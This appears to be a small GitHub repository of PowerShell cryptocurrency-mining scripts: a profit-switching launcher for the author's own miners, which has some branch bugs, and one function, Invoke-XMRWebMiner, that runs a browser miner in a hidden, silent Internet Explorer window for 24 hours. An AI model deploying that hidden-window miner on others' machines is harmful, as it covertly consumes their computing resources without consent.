├── Invoke-XMRWebMiner.ps1 ├── LICENSE ├── Mine-BestCoin.ps1 └── README.md /Invoke-XMRWebMiner.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-XMRWebMiner { 2 | <#-- 3 | FOR EDUCATIONAL PURPOSES ONLY 4 | Will start a hidden Internet Explorer window and mine through coinhive in the background. 5 | --#> 6 | $ie=New-Object -comobject InternetExplorer.Application 7 | $ie.visible = $False 8 | $ie.Silent = $true 9 | $ie.navigate('https://authedmine.com/media/miner.html?key=') 10 | while($ie.busy){Start-Sleep 3} 11 | $link = @($ie.Document.documentElement.getElementsByClassName(("mining-button"))) 12 | $link.click() 13 | while ($ie.Busy) { 14 | # CoinHive will only run your miner for 24hrs at a time. So, we time it and cleanly exit internet explorer after 24 hours. 15 | # You could loop this to restart if you wanted to mine uninterrupted. 16 | [System.Threading.Thread]::Sleep(86400) 17 | } 18 | $ie.quit 19 | } 20 | 21 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2017, Steve Borosh 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /Mine-BestCoin.ps1: -------------------------------------------------------------------------------- 1 | function Mine-BestCoin { 2 | <# 3 | .SYNOPSIS 4 | Mine coins based on whattomine.com JSON api 5 | https://github.com/rvrsh3ll/CrypoCurrencyPowerShell/blob/master/Mine-MostProfitableCoin.ps1 6 | Author: Steve Borosh (@rvrsh3ll) 7 | License: BSD 3-Clause 8 | Required Dependencies: None 9 | Optional Dependencies: None 10 | 11 | .DESCRIPTION 12 | Starts miners and checks ever x minutes for best coin to mine 13 | 14 | .PARAMETER Category 15 | Mine based on a specific category from whattomine.com json 16 | 17 | .PARAMETER CheckinInterval 18 | Amount of seconds between checks against whattomine.com 19 | 20 | .PARAMETER Coin 21 | Mine a specific coin 22 | 23 | .EXAMPLE 24 | Import-Module .\Mine-BestCoin.ps1 25 | Mine-BestCoin -Category EstimatedRewards 26 | or 27 | Mine-BestCoin -Category Profitability -Coin XMR -CheckinInterval 600 28 | #> 29 | 30 | [CmdletBinding()] 31 | Param ( 32 | [Parameter(Mandatory = $false, Position = 0)] 33 | [ValidateSet("EstimatedRewards","Profitability")] 34 | [String] 35 | $Category = "EstimatedRewards", 36 | [Parameter(Mandatory = $false, Position = 1)] 37 | [int] 38 | $CheckinInterval = 1800, 39 | [Parameter(Mandatory = $false, Position = 2)] 40 | [ValidateSet("BitSend","Digibyte","Verge","RavenCoin","HelpTheHomeless")] 41 | [String] 42 | $Coin 43 | ) 44 | 45 | 46 | 47 | 48 | ########################################################################################################################################### 49 | 50 | function Start-RewardsCheck { 51 | # Get API JSON and convert it 52 | $request = Invoke-WebRequest -Uri 'https://whattomine.com/coins.json' | ConvertFrom-Json 53 | ## Modify to select the coins we are mining and their current profitability. Comment or remove coins not being mined 54 | $BitSend = $request.coins.BitSend.estimated_rewards 55 | $DigiByte = $request.coins.DigiByte.estimated_rewards 56 | $RavenCoin = $request.coins.RavenCoin.estimated_rewards 57 | $VERGE = $request.coins.Verge.estimated_rewards 58 | $HelpTheHomeless = $request.coins.HelpTheHomeless.estimated_rewards 59 | 60 | ## Modify this if you change what coins you want to mine ## 61 | $CoinsToMine = @{BitSend=$BitSend;RavenCoin=$RavenCoin;VERGE=$VERGE;HelpTheHomeless=$HelpTheHomeless;DigiByte=$DigiByte} 62 | #### 63 | 64 | $MostRewardedCoin = $CoinsToMine.GetEnumerator() | Sort-Object -Property Value -Descending| Select -First 1 -ExpandProperty Name 65 | $MostRewardedCoin 66 | 67 | } 68 | 69 | 70 | function Start-ProfitabilityCheck { 71 | $request = Invoke-WebRequest -Uri 'https://whattomine.com/coins.json' | ConvertFrom-Json 72 | ## Modify to select the coins we are mining and their current profitability. Comment or remove coins not being mined 73 | $BitSend = $request.coins.BitSend.profitability 74 | $DigiByte = $request.coins.DigiByte.profitability 75 | $RavenCoin = $request.coins.RavenCoin.profitability 76 | $VERGE = $request.coins.Verge.profitability 77 | $HelpTheHomeless = $request.coins.HelpTheHomeless.profitability 78 | 79 | ## Modify this if you change what coins you want to mine ## 80 | $CoinsToMine = @{BitSend=$BitSend;RavenCoin=$RavenCoin;VERGE=$VERGE;HelpTheHomeless=$HelpTheHomeless;DigiByte=$DigiByte} 81 | #### 82 | 83 | $MostProfitableCoin = $CoinsToMine.GetEnumerator() | Sort-Object -Property Value -Descending | Select -First 1 -ExpandProperty Name 84 | $MostProfitableCoin 85 | 86 | } 87 | ######## Mining Block: Point to your appropriate miners 88 | 89 | function Mine-BitSend ($CheckinInterval) { 90 | Start-Process -FilePath "C:\Users\rvrsh3ll\Desktop\mining\Active_Miners\ccminer_bitsend\ccminer.exe" -ArgumentList "-a xevan -u i78BgEXTkisLWXYcWSUANcfeAbQp7zBHAM.rig1 -p x --cpu-priority=3 -o stratum+tcp://omegapool.cc:8005" 91 | } 92 | function Mine-VergeCoin ($CheckinInterval) { 93 | Start-Process -FilePath "C:\Users\rvrsh3ll\Desktop\mining\Active_Miners\ccminer-x64-2.2.5-cuda9\ccminer-x64.exe" -ArgumentList "-a blake2s -o stratum+tcp://xvg.antminepool.com:9008 -u RFQXKVKpHMwyJ86YqQUJSZK1S8m8oRbC5h -p x --cpu-priority=3" 94 | } 95 | function Mine-RavenCoin ($CheckinInterval) { 96 | Start-Process -FilePath "C:\Users\rvrsh3ll\Desktop\mining\Active_Miners\ccminer-x64-2.2.5-cuda9\ccminer-x64.exe" -ArgumentList "-a x16r -o stratum+tcp://rvn-us.coinblockers.com:4449 -u RFQXKVKpHMwyJ86YqQUJSZK1S8m8oRbC5h -p x --cpu-priority=3" 97 | } 98 | function Mine-HelpTheHomeless ($CheckinInterval) { 99 | Start-Process -FilePath "C:\Users\rvrsh3ll\Desktop\mining\Active_Miners\ccminer-x64-2.2.5-cuda9\ccminer-x64.exe" -ArgumentList "-a x16r -o stratum+tcp://gpuhot.com:36361 -u HHS7W41529y14wy9rR4NRsCjD56Va4bPYp -p c=HTH --cpu-priority=3" 100 | } 101 | function Mine-DigiByte ($CheckinInterval) { 102 | Start-Process -FilePath "C:\Users\rvrsh3ll\Desktop\mining\Active_Miners\ccminer-x64-2.2.5-cuda9\ccminer-x64.exe" -ArgumentList "--algo=myr-gr -o stratum+tcp://stratum.dgb-groestl.theblocksfactory.com:9003 -u user.rig -p password" 103 | } 104 | 105 | 106 | 107 | 108 | function Mine-Profitability ($CheckinInterval) { 109 | while ($true) { 110 | $MostProfitableCoin = Start-ProfitabilityCheck 111 | if ($MostProfitableCoin -eq "BitSend") { 112 | Write-Output "The most profitable coin is currently $MostProfitableCoin" 113 | Write-Output " " 114 | Write-Output "Beginning to mine $MostProfitableCoin..." 115 | Mine-BitSend 116 | $NewResult = $MostProfitableCoin 117 | While ($MostProfitableCoin -eq $NewResult) { 118 | Start-Sleep -Seconds $CheckinInterval 119 | Write-Output "Checking Profitability.." 120 | $NewResult = Start-ProfitabilityCheck 121 | Write-Output "$NewResult is most profitable currently." 122 | if ($NewResult -ne $MostProfitableCoin) { 123 | Stop-Process -Processname "ccminer-x64" 124 | Stop-Process -Processname "ccminer" 125 | & ("Mine-" + $NewResult) 126 | } 127 | } 128 | } elseif ($MostProfitableCoin -eq "RavenCoin") { 129 | Write-Output "The most profitable coin is currently $MostProfitableCoin" 130 | Write-Output " " 131 | Write-Output "Beginning to mine $MostProfitableCoin..." 132 | Mine-RavenCoin 133 | $NewResult = $MostProfitableCoin 134 | While ($MostProfitableCoin -eq $NewResult) { 135 | Start-Sleep -Seconds $CheckinInterval 136 | Write-Output "Checking Profitability.." 137 | $NewResult = Start-ProfitabilityCheck 138 | Write-Output "$NewResult is most profitable currently." 139 | if ($NewResult -ne $MostProfitableCoin) { 140 | Stop-Process -Processname "ccminer-x64" 141 | Stop-Process -Processname "ccminer" 142 | & ("Mine-" + $NewResult) 143 | } 144 | } 145 | }elseif ($MostProfitableCoin -eq "Verge") { 146 | Write-Output "The most profitable coin is currently $MostProfitableCoin" 147 | Write-Output " " 148 | Write-Output "Beginning to mine $MostProfitableCoin..." 149 | Mine-RavenCoin 150 | $NewResult = $MostProfitableCoin 151 | While ($MostProfitableCoin -eq $NewResult) { 152 | Start-Sleep -Seconds $CheckinInterval 153 | Write-Output "Checking Profitability.." 154 | $NewResult = Start-ProfitabilityCheck 155 | Write-Output "$NewResult is most profitable currently." 156 | if ($NewResult -ne $MostProfitableCoin) { 157 | Stop-Process -Processname "ccminer-x64" 158 | Stop-Process -Processname "ccminer" 159 | & ("Mine-" + $NewResult) 160 | } 161 | } 162 | }elseif ($MostProfitableCoin -eq "HelpTheHomeless") { 163 | Write-Output "The most profitable coin is currently $MostProfitableCoin" 164 | Write-Output " " 165 | Write-Output "Beginning to mine $MostProfitableCoin..." 166 | Mine-HelpTheHomeless 167 | $NewResult = $MostProfitableCoin 168 | While ($MostProfitableCoin -eq $NewResult) { 169 | Start-Sleep -Seconds $CheckinInterval 170 | Write-Output "Checking Profitability.." 171 | $NewResult = Start-ProfitabilityCheck 172 | Write-Output "$NewResult is most profitable currently." 173 | if ($NewResult -ne $MostProfitableCoin) { 174 | Stop-Process -Processname "ccminer-x64" 175 | Stop-Process -Processname "ccminer" 176 | & ("Mine-" + $NewResult) 177 | } 178 | } 179 | }elseif ($MostProfitableCoin -eq "DigiByte") { 180 | Write-Output "The most profitable coin is currently $MostProfitableCoin" 181 | Write-Output " " 182 | Write-Output "Beginning to mine $MostProfitableCoin..." 183 | Mine-DigiByte 184 | $NewResult = $MostProfitableCoin 185 | While ($MostProfitableCoin -eq $NewResult) { 186 | Start-Sleep -Seconds $CheckinInterval 187 | Write-Output "Checking Profitability.." 188 | $NewResult = Start-ProfitabilityCheck 189 | Write-Output "$NewResult is most profitable currently." 190 | if ($NewResult -ne $MostProfitableCoin) { 191 | Stop-Process -Processname "ccminer-x64" 192 | Stop-Process -Processname "ccminer" 193 | & ("Mine-" + $NewResult) 194 | } 195 | } 196 | } 197 | } 198 | } 199 | 200 | function Mine-Rewards ($CheckinInterval) { 201 | while ($true) { 202 | $MostRewardedCoin = Start-RewardsCheck 203 | Write-Output $MostRewardedCoin 204 | if ($MostRewardedCoin -eq "BitSend") { 205 | Write-Output " " 206 | Write-Output "Beginning to mine $MostRewardedCoin..." 207 | Mine-BitSend 208 | $NewResult = $MostRewardedCoin 209 | While ($MostRewardedCoin -eq $NewResult) { 210 | Start-Sleep -Seconds $CheckinInterval 211 | Write-Output "Checking reward amounts.." 212 | $NewResult = Start-RewardsCheck 213 | Write-Output "$NewResult currently has the highest reward rate." 214 | if ($NewResult -ne $MostRewardedCoin) { 215 | Stop-Process -Processname "ccminer-x64" 216 | Stop-Process -Processname "ccminer" 217 | & ("Mine-" + $NewResult) 218 | } 219 | } 220 | } elseif ($MostRewardedCoin -eq "RavenCoin") { 221 | Write-Output "The most rewardable coin is currently $MostRewardedCoin" 222 | Write-Output " " 223 | Write-Output "Beginning to mine $MostRewardedCoin..." 224 | Mine-RavenCoin 225 | $NewResult = $MostRewardedCoin 226 | While ($MostRewardedCoin -eq $NewResult) { 227 | Start-Sleep -Seconds $CheckinInterval 228 | Write-Output "Checking reward amounts.." 229 | $NewResult = Start-RewardsCheck 230 | Write-Output "$NewResult currently has the highest reward rate." 231 | if ($NewResult -ne $MostRewardedCoin) { 232 | Stop-Process -Processname "ccminer-x64" 233 | Stop-Process -Processname "ccminer" 234 | & ("Mine-" + $NewResult) 235 | } 236 | } 237 | }elseif ($MostRewardedCoin -eq "VergeCoin") { 238 | Write-Output "The most rewardable coin is currently $MostRewardedCoin" 239 | Write-Output " " 240 | Write-Output "Beginning to mine $MostRewardedCoin..." 241 | Mine-VergeCoin 242 | $NewResult = $MostRewardedCoin 243 | While ($MostRewardedCoin -eq $NewResult) { 244 | Start-Sleep -Seconds $CheckinInterval 245 | Write-Output "Checking reward amounts.." 246 | $NewResult = Start-RewardsCheck 247 | Write-Output "$NewResult currently has the highest reward rate." 248 | if ($NewResult -ne $MostRewardedCoin) { 249 | Stop-Process -Processname "ccminer-x64" 250 | Stop-Process -Processname "ccminer" 251 | & ("Mine-" + $NewResult) 252 | } 253 | } 254 | }elseif ($MostRewardedCoin -eq "HelpTheHomeless") { 255 | Write-Output "The most rewardable coin is currently $MostRewardedCoin" 256 | Write-Output " " 257 | Write-Output "Beginning to mine $MostRewardedCoin..." 258 | Mine-HelpTheHomeless 259 | $NewResult = $MostRewardedCoin 260 | While ($MostRewardedCoin -eq $NewResult) { 261 | Start-Sleep -Seconds $CheckinInterval 262 | Write-Output "Checking reward amounts.." 263 | $NewResult = Start-RewardsCheck 264 | Write-Output "$NewResult currently has the highest reward rate." 265 | if ($NewResult -ne $MostRewardedCoin) { 266 | Stop-Process -Processname "ccminer-x64" 267 | Stop-Process -Processname "ccminer" 268 | & ("Mine-" + $NewResult) 269 | } 270 | } 271 | }elseif ($MostRewardedCoin -eq "DigiByte") { 272 | Write-Output "The most rewardable coin is currently $MostRewardedCoin" 273 | Write-Output " " 274 | Write-Output "Beginning to mine $MostRewardedCoin..." 275 | Mine-DigiByte 276 | $NewResult = $MostRewardedCoin 277 | While ($MostRewardedCoin -eq $NewResult) { 278 | Start-Sleep -Seconds $CheckinInterval 279 | Write-Output "Checking reward amounts.." 280 | $NewResult = Start-RewardsCheck 281 | Write-Output "$NewResult currently has the highest reward rate." 282 | if ($NewResult -ne $MostRewardedCoin) { 283 | Stop-Process -Processname "ccminer-x64" 284 | Stop-Process -Processname "ccminer" 285 | & ("Mine-" + $NewResult) 286 | } 287 | } 288 | } 289 | } 290 | } 291 | # Check if we are mining solo 292 | if ($Coin) { 293 | Write-Output "Mining $Coin.." 294 | $CointoMine = & ('Mine-' + $Coin) 295 | .$CointoMine 296 | }else { 297 | if ($Category -eq "Profitability") { 298 | Mine-Profitability $CheckinInterval 299 | } elseif ($Category -eq "EstimatedRewards") { 300 | Mine-Rewards $CheckinInterval 301 | } 302 | } 303 | } 304 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CrypoCurrencyPowerShell 2 | 3 | --------------------------------------------------------------------------------